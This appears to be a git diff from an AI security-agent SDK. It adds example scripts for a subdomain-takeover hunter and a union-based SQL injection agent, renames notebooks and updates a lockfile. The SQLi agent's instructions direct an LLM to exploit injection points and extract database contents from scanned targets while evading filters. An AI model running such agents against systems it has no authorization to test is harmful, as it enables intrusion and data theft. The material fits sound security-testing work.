+ presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for subdomain takeover vulnerabilities using BBOT discovery.""" + + if isinstance(targets, Path): + with Path.open(targets) as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided. Use --targets to specify targets.") + return + + # Start dreadnode run context + with dn.run("subdomain-takeover-hunt"): + # Log parameters + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + # Log inputs + dn.log_input("targets", targets) + if presets: + dn.log_input("presets", presets) + if modules: + dn.log_input("modules", modules) + if flags: + dn.log_input("flags", flags) + if config: + dn.log_input("config", str(config)) + + console.print(f"Starting subdomain takeover hunt on {len(targets)} targets") + + # Track metrics at task level + analyzed_count = 0 + findings_count = 0 + findings = [] + + # Analyze each subdomain directly (since we already have a list of subdomains) + for subdomain in targets: + try: + console.print(f"Analyzing subdomain: {subdomain}") + + analysis_result = await analyze_subdomain(subdomain) + + console.print(f"Agent used: {', '.join(analysis_result['tools_used'])}") + console.print(f"\nAnalysis for {subdomain}:") + console.print(analysis_result["analysis"]) + console.print( + f"\nProcessed {len(analysis_result['tool_outputs'])} tool calls in {analysis_result['steps']} steps" + ) + + analyzed_count += 1 + dn.log_metric("subdomains_analyzed", analyzed_count) + + finding_stored = ( + "store_subdomain_takeover_finding" in analysis_result["tools_used"] + ) + + if finding_stored or ( + analysis_result["analysis"] + and any( + phrase in analysis_result["analysis"].lower() + for phrase in [ + "potential takeover", + "subdomain takeover vulnerability", + "takeover vulnerability", + "vulnerable to takeover", + "dangling cname", + "unclaimed resource", + "takeover indicator", + "successful subdomain takeover", + ] + ) + ): + findings_count += 1 + dn.log_metric("findings_found", findings_count) + + security_finding = { + "subdomain": subdomain, + "finding_type": "subdomain_takeover", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "steps": analysis_result["steps"], + "timestamp": time.time(), + "stored_in_db": finding_stored, + } + findings.append(security_finding) + dn.log_output(f"finding_{subdomain}", security_finding) + + except Exception as e: + console.print(f"Error analyzing subdomain: {e}") + + dn.log_metric("subdomains_analyzed", analyzed_count) + dn.log_metric("findings_found", findings_count) + dn.log_output("security_findings", findings) + dn.log_output( + "summary", + { + "total_targets": len(targets), + "subdomains_analyzed": analyzed_count, + "findings_found": findings_count, + "findings": findings, + }, + ) + + console.print("\n📊 Task Summary:") + console.print(f" Subdomains analyzed: {analyzed_count}") + console.print(f" Security findings: {findings_count}") + + +async def modules() -> None: + """List available BBOT modules.""" + BBotTool.get_modules() + + +async def presets() -> None: + """List available BBOT presets.""" + BBotTool.get_presets() + + +async def flags() -> None: + """List available BBOT flags.""" + BBotTool.get_flags() + + +async def events() -> None: + """List available BBOT event types.""" + BBotTool.get_events() + + +async def validate(subdomain: str, debug: bool = False) -> None: + """Validate a specific subdomain for takeover vulnerability.""" + + # Start dreadnode run context + with dn.run("subdomain-takeover-validate"): + # Log parameters + dn.log_params(subdomain=subdomain) + + # Log inputs + dn.log_input("subdomain", subdomain) + + console.print(f"Validating subdomain: {subdomain}") + + try: + analysis_result = await analyze_subdomain(subdomain) + + display_analysis_result_from_task(analysis_result, debug=debug) + + finding_stored = "store_subdomain_takeover_finding" in analysis_result["tools_used"] + has_finding = finding_stored or ( + analysis_result["analysis"] + and any( + phrase in analysis_result["analysis"].lower() + for phrase in [ + "potential takeover", + "subdomain takeover vulnerability", + "takeover vulnerability", + "vulnerable to takeover", + "dangling cname", + "unclaimed resource", + "takeover indicator", + "successful subdomain takeover", + ] + ) + ) + + if has_finding: + security_finding = { + "subdomain": subdomain, + "finding_type": "subdomain_takeover", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "steps": analysis_result["steps"], + "timestamp": time.time(), + "stored_in_db": finding_stored, + } + dn.log_output("security_finding", security_finding) + + dn.log_output( + "analysis_result", + { + "subdomain": subdomain, + "has_finding": has_finding, + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "steps": analysis_result["steps"], + }, + ) + dn.log_metric("findings_found", 1 if has_finding else 0) + dn.log_metric("subdomains_analyzed", 1) + + except Exception as e: + console.print(f"Validation failed: {e}") + dn.log_output("error", str(e)) + + +async def analyze_dns_events_file(dns_events_file: Path, debug: bool = False) -> None: + """Analyze DNS_NAME events from a JSON file for subdomain takeover vulnerabilities.""" + + with dn.run("dns-events-analysis"): + console.print(f"Analyzing DNS events from {dns_events_file}") + + try: + with open(dns_events_file) as f: + events = json.load(f) + + if not isinstance(events, list): + events = [events] + + takeover_count = 0 + total_dns_events = 0 + + for event in events: + if is_subdomain_takeover_event(event): + total_dns_events += 1 + console.print(f"[*] Found potential subdomain takeover DNS event...") + + analysis_result = await analyze_dns_event(event) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + if analysis_result['event_type'] == 'DNS_NAME': + console.print(f"CNAME targets: {', '.join(analysis_result['cname_targets'])}") + elif analysis_result['event_type'] == 'VULNERABILITY': + console.print(f"Vulnerability: {analysis_result['vulnerability_description'][:100]}...") + console.print(f"Analysis: {analysis_result['analysis'][:200]}...") + + if analysis_result["has_takeover"]: + takeover_count += 1 + console.print(f"SUBDOMAIN TAKEOVER CONFIRMED: {analysis_result['subdomain']}") + else: + console.print(f"No subdomain takeover found for {analysis_result['subdomain']}") + + dn.log_metric("dns_events_analyzed", total_dns_events) + dn.log_metric("takeover_vulnerabilities", takeover_count) + + console.print(f"\nDNS Events Analysis Summary:") + console.print(f" DNS events with takeover indicators: {total_dns_events}") + console.print(f" Confirmed subdomain takeover vulnerabilities: {takeover_count}") + + except Exception as e: + console.print(f"Error analyzing DNS events file: {e}") + + +async def main(): + parser = argparse.ArgumentParser(description="Subdomain takeover vulnerability scanner") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + # Hunt command + hunt_parser = subparsers.add_parser("hunt", help="Hunt for subdomain takeover vulnerabilities") + hunt_parser.add_argument( + "--targets", type=Path, help="Path to file containing target subdomains" + ) + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + # Validate command + validate_parser = subparsers.add_parser("validate", help="Validate a specific subdomain") + validate_parser.add_argument("subdomain", help="Subdomain to validate") + validate_parser.add_argument("--debug", action="store_true", help="Show raw tool outputs") + + # Analyze DNS events command + analyze_parser = subparsers.add_parser("analyze-dns", help="Analyze DNS_NAME events from BBOT for subdomain takeover") + analyze_parser.add_argument("dns_events_file", type=Path, help="JSON file containing BBOT DNS_NAME events") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + # Info commands + subparsers.add_parser("modules", help="List available BBOT modules") + subparsers.add_parser("presets", help="List available BBOT presets") + subparsers.add_parser("flags", help="List available BBOT flags") + subparsers.add_parser("events", help="List available BBOT event types") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "validate": + await validate(args.subdomain, args.debug) + elif args.command == "analyze-dns": + await analyze_dns_events_file(args.dns_events_file, args.debug) + elif args.command == "modules": + await modules() + elif args.command == "presets": + await presets() + elif args.command == "flags": + await flags() + elif args.command == "events": + await events() + else: + parser.print_help() + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/examples/agents/union_based_sqli/agent.py b/examples/agents/union_based_sqli/agent.py new file mode 100644 index 00000000..34db82b2 --- /dev/null +++ b/examples/agents/union_based_sqli/agent.py @@ -0,0 +1,291 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool + +dn.configure(server=None, token=None, project="union-based-sqli-agent", console=False) + +console = Console() + +@dn.task(name="Analyze Union-Based SQLi Finding", label="analyze_union_sqli_finding") +async def analyze_sqli_finding(finding_data: dict[str, t.Any]) -> dict[str, t.Any]: + """Analyze a BBOT SQL injection finding for union-based exploitability.""" + sqli_agent = create_sqli_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + param_name = extract_param_name(description) + param_type = extract_param_type(description) + original_value = extract_original_value(description) + + result = await sqli_agent.run( + f"Analyze the potential SQL injection vulnerability at {url} using parameter '{param_name}'. " + f"The original parameter value was: {original_value}\n\n" + f"Focus on UNION-BASED SQL injection techniques. Test for direct data extraction via UNION SELECT. " + f"Start with column structure discovery and adapt based on responses you receive." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + + finding_stored = "store_sqli_finding" in tools_used + has_sqli = finding_stored + if result.messages and result.messages[-1].content: + has_sqli = has_sqli or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "union injection confirmed", + "union select successful", + "column count determined", + "data extracted via union", + "database version extracted", + "table names retrieved", + "union-based injection", + "information_schema accessed", + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_union_sqli", 1 if has_sqli else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + + analysis_result = { + "url": url, + "host": host, + "parameter": param_name, + "param_type": param_type, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_sqli": has_sqli, + "stored_in_db": finding_stored, + "original_finding": finding_data + } + + return analysis_result + +def create_sqli_agent() -> Agent: + """Create a union-based SQL injection analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool()] + + return Agent( + name="union-based-sqli-agent", + description="An agent that analyzes and exploits union-based SQL injection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting union-based SQL injection vulnerabilities. + +Your mission is to exploit SQL injection through UNION SELECT statements to directly extract data. + +Follow this adaptive approach: + +1. DISCOVER COLUMN STRUCTURE: Determine how many columns the original query returns +2. VALIDATE UNION COMPATIBILITY: Ensure your UNION queries execute without errors +3. EXTRACT DATA SYSTEMATICALLY: Pull database information, schema details, and actual data +4. ADAPT TO CONSTRAINTS: Work around filtering, data type mismatches, and other obstacles + +The key insight: union-based injection gives you direct data access. Start simple and build complexity based on what works. + +Each application will behave differently. Some block certain keywords, others have data type restrictions, others limit result lengths. + +Use the http_request tool to test union payloads systematically. Let the application responses guide your technique selection. + +If you confirm union-based SQL injection exists, use store_sqli_finding to record the vulnerability.""", + ) + +def extract_param_name(description: str) -> str: + """Extract parameter name from BBOT finding description.""" + if "Name: [" in description: + start = description.find("Name: [") + 7 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + +def extract_param_type(description: str) -> str: + """Extract parameter type from BBOT finding description.""" + if "Parameter Type: [" in description: + start = description.find("Parameter Type: [") + 17 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + +def extract_original_value(description: str) -> str: + """Extract original parameter value from BBOT finding description.""" + if "Original Value: [" in description: + start = description.find("Original Value: [") + 17 + end = description.rfind("]") + return description[start:end] if end > start else "" + return "" + +def is_sqli_finding(event: dict[str, t.Any]) -> bool: + """Check if a BBOT event is a SQL injection finding.""" + if event.get('type') != 'FINDING': + return False + + description = event.get('data', {}).get('description', '') + return 'SQL Injection' in description + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for union-based SQL injection vulnerabilities from BBOT scan findings.""" + + if isinstance(targets, Path): + with targets.open() as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided.") + return + + with dn.run("union-based-sqli-hunt"): + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting union-based SQL injection hunt on {len(targets)} targets...") + + sqli_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + scan_modules = modules or ["httpx", "excavate", "hunt"] + + for target in targets: + try: + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_sqli_finding(event): + total_findings += 1 + + try: + analysis_result = await analyze_sqli_finding(event) + + if analysis_result["has_sqli"]: + sqli_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "parameter": analysis_result["parameter"], + "finding_type": "union_based_sqli", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"union_sqli_finding_{analysis_result['host']}", security_finding) + console.print(f"Union-based SQL injection confirmed on {analysis_result['host']}") + else: + console.print(f"Union-based SQL injection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing SQL injection finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("union_confirmed", sqli_findings_count) + + console.print(f"Hunt Summary:") + console.print(f" SQL injection candidates found: {total_findings}") + console.print(f" Union-based SQL injection vulnerabilities confirmed: {sqli_findings_count}") + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze SQL injection findings from a JSON file.""" + + with dn.run("union-based-sqli-analyze"): + try: + with finding_file.open() as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + sqli_count = 0 + for finding in findings: + if is_sqli_finding(finding): + analysis_result = await analyze_sqli_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + + if analysis_result["has_sqli"]: + sqli_count += 1 + console.print(f"Union-based SQL injection confirmed") + else: + console.print(f"No union-based SQL injection exploitation possible") + + dn.log_metric("union_findings", sqli_count) + + except Exception as e: + console.print(f"Error analyzing findings file: {e}") + +async def main() -> None: + parser = argparse.ArgumentParser(description="Union-based SQL injection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for union-based SQL injection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze SQL injection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/data_export.ipynb b/examples/sdk/data_export.ipynb similarity index 100% rename from examples/data_export.ipynb rename to examples/sdk/data_export.ipynb diff --git a/examples/log_artifact.ipynb b/examples/sdk/log_artifact.ipynb similarity index 100% rename from examples/log_artifact.ipynb rename to examples/sdk/log_artifact.ipynb diff --git a/examples/log_object/audio.ipynb b/examples/sdk/log_object/audio.ipynb similarity index 100% rename from examples/log_object/audio.ipynb rename to examples/sdk/log_object/audio.ipynb diff --git a/examples/log_object/image.ipynb b/examples/sdk/log_object/image.ipynb similarity index 100% rename from examples/log_object/image.ipynb rename to examples/sdk/log_object/image.ipynb diff --git a/examples/log_object/object3d.ipynb b/examples/sdk/log_object/object3d.ipynb similarity index 100% rename from examples/log_object/object3d.ipynb rename to examples/sdk/log_object/object3d.ipynb diff --git a/examples/log_object/table.ipynb b/examples/sdk/log_object/table.ipynb similarity index 100% rename from examples/log_object/table.ipynb rename to examples/sdk/log_object/table.ipynb diff --git a/examples/log_object/video.ipynb b/examples/sdk/log_object/video.ipynb similarity index 100% rename from examples/log_object/video.ipynb rename to examples/sdk/log_object/video.ipynb diff --git a/examples/model_training.ipynb b/examples/sdk/model_training.ipynb similarity index 100% rename from examples/model_training.ipynb rename to examples/sdk/model_training.ipynb diff --git a/examples/rigging.ipynb b/examples/sdk/rigging.ipynb similarity index 100% rename from examples/rigging.ipynb rename to examples/sdk/rigging.ipynb diff --git a/poetry.lock b/poetry.lock index 015a0bd3..3a2179a1 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.1.1 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.1.4 and should not be changed by hand. [[package]] name = "aiobotocore" @@ -147,6 +147,21 @@ yarl = ">=1.17.0,<2.0" [package.extras] speedups = ["Brotli ; platform_python_implementation == \"CPython\"", "aiodns (>=3.3.0)", "brotlicffi ; platform_python_implementation != \"CPython\""] +[[package]] +name = "aiohttp-cors" +version = "0.8.1" +description = "CORS support for aiohttp" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "aiohttp_cors-0.8.1-py3-none-any.whl", hash = "sha256:3180cf304c5c712d626b9162b195b1db7ddf976a2a25172b35bb2448b890a80d"}, + {file = "aiohttp_cors-0.8.1.tar.gz", hash = "sha256:ccacf9cb84b64939ea15f859a146af1f662a6b1d68175754a07315e305fb1403"}, +] + +[package.dependencies] +aiohttp = ">=3.9" + [[package]] name = "aioitertools" version = "0.12.0" @@ -248,7 +263,7 @@ description = "Timeout context manager for asyncio programs" optional = false python-versions = ">=3.8" groups = ["main", "dev"] -markers = "python_version < \"3.11\"" +markers = "python_version == \"3.10\"" files = [ {file = "async_timeout-5.0.1-py3-none-any.whl", hash = "sha256:39e3809566ff85354557ec2398b55e096c8364bacac9405a7a1fa429e77fe76c"}, {file = "async_timeout-5.0.1.tar.gz", hash = "sha256:d9321a7a3d5a6a5e187e824d2fa0793ce379a202935782d555d6e9d2735677d3"}, @@ -367,6 +382,18 @@ urllib3 = {version = ">=1.25.4,<2.2.0 || >2.2.0,<3", markers = "python_version > [package.extras] crt = ["awscrt (==0.23.8)"] +[[package]] +name = "cachetools" +version = "5.5.2" +description = "Extensible memoizing collections and decorators" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "cachetools-5.5.2-py3-none-any.whl", hash = "sha256:d26a22bcc62eb95c3beabd9f1ee5e820d3d2704fe2967cbe350e20c8ffcd3f0a"}, + {file = "cachetools-5.5.2.tar.gz", hash = "sha256:1a661caa9175d26759571b2e19580f9d6393969e5dfca11fdb1f947a23e640d4"}, +] + [[package]] name = "catalogue" version = "2.0.10" @@ -621,6 +648,21 @@ files = [ {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, ] +[[package]] +name = "colorful" +version = "0.5.7" +description = "Terminal string styling done right, in Python." +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "colorful-0.5.7-py2.py3-none-any.whl", hash = "sha256:495dd3a23151a9568cee8a90fc1174c902ad7ef06655f50b6bddf9e80008da69"}, + {file = "colorful-0.5.7.tar.gz", hash = "sha256:c5452179b56601c178b03d468a5326cc1fe37d9be81d24d0d6bdab36c4b93ad8"}, +] + +[package.dependencies] +colorama = {version = "*", markers = "platform_system == \"Windows\""} + [[package]] name = "comm" version = "0.2.3" @@ -848,7 +890,7 @@ version = "0.4.0" description = "Distribution utilities" optional = false python-versions = "*" -groups = ["dev"] +groups = ["main", "dev"] files = [ {file = "distlib-0.4.0-py2.py3-none-any.whl", hash = "sha256:9659f7d87e46584a30b5780e43ac7a2143098441670ff0a49d5f9034c54a6c16"}, {file = "distlib-0.4.0.tar.gz", hash = "sha256:feec40075be03a04501a973d81f633735b4b69f98b05450592310c0f401a4e0d"}, @@ -906,7 +948,7 @@ files = [ {file = "exceptiongroup-1.3.0-py3-none-any.whl", hash = "sha256:4d111e6e0c13d0644cad6ddaa7ed0261a0b36971f6d23e7ec9b4b9097da78a10"}, {file = "exceptiongroup-1.3.0.tar.gz", hash = "sha256:b241f5885f560bc56a59ee63ca4c6a8bfa46ae4ad651af316d4e81817bb9fd88"}, ] -markers = {dev = "python_version < \"3.11\""} +markers = {dev = "python_version == \"3.10\""} [package.dependencies] typing-extensions = {version = ">=4.6.0", markers = "python_version < \"3.13\""} @@ -929,6 +971,28 @@ files = [ [package.extras] tests = ["asttokens (>=2.1.0)", "coverage", "coverage-enable-subprocess", "ipython", "littleutils", "pytest", "rich ; python_version >= \"3.11\""] +[[package]] +name = "fastapi" +version = "0.116.1" +description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "fastapi-0.116.1-py3-none-any.whl", hash = "sha256:c46ac7c312df840f0c9e220f7964bada936781bc4e2e6eb71f1c4d7553786565"}, + {file = "fastapi-0.116.1.tar.gz", hash = "sha256:ed52cbf946abfd70c5a0dccb24673f0670deeb517a88b3544d03c2a6bf283143"}, +] + +[package.dependencies] +pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0 || >2.0.0,<2.0.1 || >2.0.1,<2.1.0 || >2.1.0,<3.0.0" +starlette = ">=0.40.0,<0.48.0" +typing-extensions = ">=4.8.0" + +[package.extras] +all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "orjson (>=3.2.1)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0)", "uvicorn[standard] (>=0.12.0)"] +standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0)", "jinja2 (>=3.1.5)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] +standard-no-fastapi-cloud-cli = ["email-validator (>=2.0.0)", "fastapi-cli[standard-no-fastapi-cloud-cli] (>=0.0.8)", "httpx (>=0.23.0)", "jinja2 (>=3.1.5)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] + [[package]] name = "filelock" version = "3.19.1" @@ -1117,6 +1181,61 @@ python-dateutil = ">=2.8.1" [package.extras] dev = ["flake8", "markdown", "twine", "wheel"] +[[package]] +name = "google-api-core" +version = "2.25.1" +description = "Google API client core library" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "google_api_core-2.25.1-py3-none-any.whl", hash = "sha256:8a2a56c1fef82987a524371f99f3bd0143702fecc670c72e600c1cda6bf8dbb7"}, + {file = "google_api_core-2.25.1.tar.gz", hash = "sha256:d2aaa0b13c78c61cb3f4282c464c046e45fbd75755683c9c525e6e8f7ed0a5e8"}, +] + +[package.dependencies] +google-auth = ">=2.14.1,<3.0.0" +googleapis-common-protos = ">=1.56.2,<2.0.0" +proto-plus = [ + {version = ">=1.22.3,<2.0.0"}, + {version = ">=1.25.0,<2.0.0", markers = "python_version >= \"3.13\""}, +] +protobuf = ">=3.19.5,<3.20.0 || >3.20.0,<3.20.1 || >3.20.1,<4.21.0 || >4.21.0,<4.21.1 || >4.21.1,<4.21.2 || >4.21.2,<4.21.3 || >4.21.3,<4.21.4 || >4.21.4,<4.21.5 || >4.21.5,<7.0.0" +requests = ">=2.18.0,<3.0.0" + +[package.extras] +async-rest = ["google-auth[aiohttp] (>=2.35.0,<3.0.0)"] +grpc = ["grpcio (>=1.33.2,<2.0.0)", "grpcio (>=1.49.1,<2.0.0) ; python_version >= \"3.11\"", "grpcio-status (>=1.33.2,<2.0.0)", "grpcio-status (>=1.49.1,<2.0.0) ; python_version >= \"3.11\""] +grpcgcp = ["grpcio-gcp (>=0.2.2,<1.0.0)"] +grpcio-gcp = ["grpcio-gcp (>=0.2.2,<1.0.0)"] + +[[package]] +name = "google-auth" +version = "2.40.3" +description = "Google Authentication Library" +optional = false +python-versions = ">=3.7" +groups = ["main"] +files = [ + {file = "google_auth-2.40.3-py2.py3-none-any.whl", hash = "sha256:1370d4593e86213563547f97a92752fc658456fe4514c809544f330fed45a7ca"}, + {file = "google_auth-2.40.3.tar.gz", hash = "sha256:500c3a29adedeb36ea9cf24b8d10858e152f2412e3ca37829b3fa18e33d63b77"}, +] + +[package.dependencies] +cachetools = ">=2.0.0,<6.0" +pyasn1-modules = ">=0.2.1" +rsa = ">=3.1.4,<5" + +[package.extras] +aiohttp = ["aiohttp (>=3.6.2,<4.0.0)", "requests (>=2.20.0,<3.0.0)"] +enterprise-cert = ["cryptography", "pyopenssl"] +pyjwt = ["cryptography (<39.0.0) ; python_version < \"3.8\"", "cryptography (>=38.0.3)", "pyjwt (>=2.0)"] +pyopenssl = ["cryptography (<39.0.0) ; python_version < \"3.8\"", "cryptography (>=38.0.3)", "pyopenssl (>=20.0.0)"] +reauth = ["pyu2f (>=0.1.5)"] +requests = ["requests (>=2.20.0,<3.0.0)"] +testing = ["aiohttp (<3.10.0)", "aiohttp (>=3.6.2,<4.0.0)", "aioresponses", "cryptography (<39.0.0) ; python_version < \"3.8\"", "cryptography (>=38.0.3)", "flask", "freezegun", "grpcio", "mock", "oauth2client", "packaging", "pyjwt (>=2.0)", "pyopenssl (<24.3.0)", "pyopenssl (>=20.0.0)", "pytest", "pytest-asyncio", "pytest-cov", "pytest-localserver", "pyu2f (>=0.1.5)", "requests (>=2.20.0,<3.0.0)", "responses", "urllib3"] +urllib3 = ["packaging", "urllib3"] + [[package]] name = "googleapis-common-protos" version = "1.70.0" @@ -1150,6 +1269,70 @@ files = [ [package.dependencies] colorama = ">=0.4" +[[package]] +name = "grpcio" +version = "1.74.0" +description = "HTTP/2-based RPC framework" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "grpcio-1.74.0-cp310-cp310-linux_armv7l.whl", hash = "sha256:85bd5cdf4ed7b2d6438871adf6afff9af7096486fcf51818a81b77ef4dd30907"}, + {file = "grpcio-1.74.0-cp310-cp310-macosx_11_0_universal2.whl", hash = "sha256:68c8ebcca945efff9d86d8d6d7bfb0841cf0071024417e2d7f45c5e46b5b08eb"}, + {file = "grpcio-1.74.0-cp310-cp310-manylinux_2_17_aarch64.whl", hash = "sha256:e154d230dc1bbbd78ad2fdc3039fa50ad7ffcf438e4eb2fa30bce223a70c7486"}, + {file = "grpcio-1.74.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e8978003816c7b9eabe217f88c78bc26adc8f9304bf6a594b02e5a49b2ef9c11"}, + {file = "grpcio-1.74.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c3d7bd6e3929fd2ea7fbc3f562e4987229ead70c9ae5f01501a46701e08f1ad9"}, + {file = "grpcio-1.74.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:136b53c91ac1d02c8c24201bfdeb56f8b3ac3278668cbb8e0ba49c88069e1bdc"}, + {file = "grpcio-1.74.0-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:fe0f540750a13fd8e5da4b3eaba91a785eea8dca5ccd2bc2ffe978caa403090e"}, + {file = "grpcio-1.74.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:4e4181bfc24413d1e3a37a0b7889bea68d973d4b45dd2bc68bb766c140718f82"}, + {file = "grpcio-1.74.0-cp310-cp310-win32.whl", hash = "sha256:1733969040989f7acc3d94c22f55b4a9501a30f6aaacdbccfaba0a3ffb255ab7"}, + {file = "grpcio-1.74.0-cp310-cp310-win_amd64.whl", hash = "sha256:9e912d3c993a29df6c627459af58975b2e5c897d93287939b9d5065f000249b5"}, + {file = "grpcio-1.74.0-cp311-cp311-linux_armv7l.whl", hash = "sha256:69e1a8180868a2576f02356565f16635b99088da7df3d45aaa7e24e73a054e31"}, + {file = "grpcio-1.74.0-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:8efe72fde5500f47aca1ef59495cb59c885afe04ac89dd11d810f2de87d935d4"}, + {file = "grpcio-1.74.0-cp311-cp311-manylinux_2_17_aarch64.whl", hash = "sha256:a8f0302f9ac4e9923f98d8e243939a6fb627cd048f5cd38595c97e38020dffce"}, + {file = "grpcio-1.74.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2f609a39f62a6f6f05c7512746798282546358a37ea93c1fcbadf8b2fed162e3"}, + {file = "grpcio-1.74.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c98e0b7434a7fa4e3e63f250456eaef52499fba5ae661c58cc5b5477d11e7182"}, + {file = "grpcio-1.74.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:662456c4513e298db6d7bd9c3b8df6f75f8752f0ba01fb653e252ed4a59b5a5d"}, + {file = "grpcio-1.74.0-cp311-cp311-musllinux_1_1_i686.whl", hash = 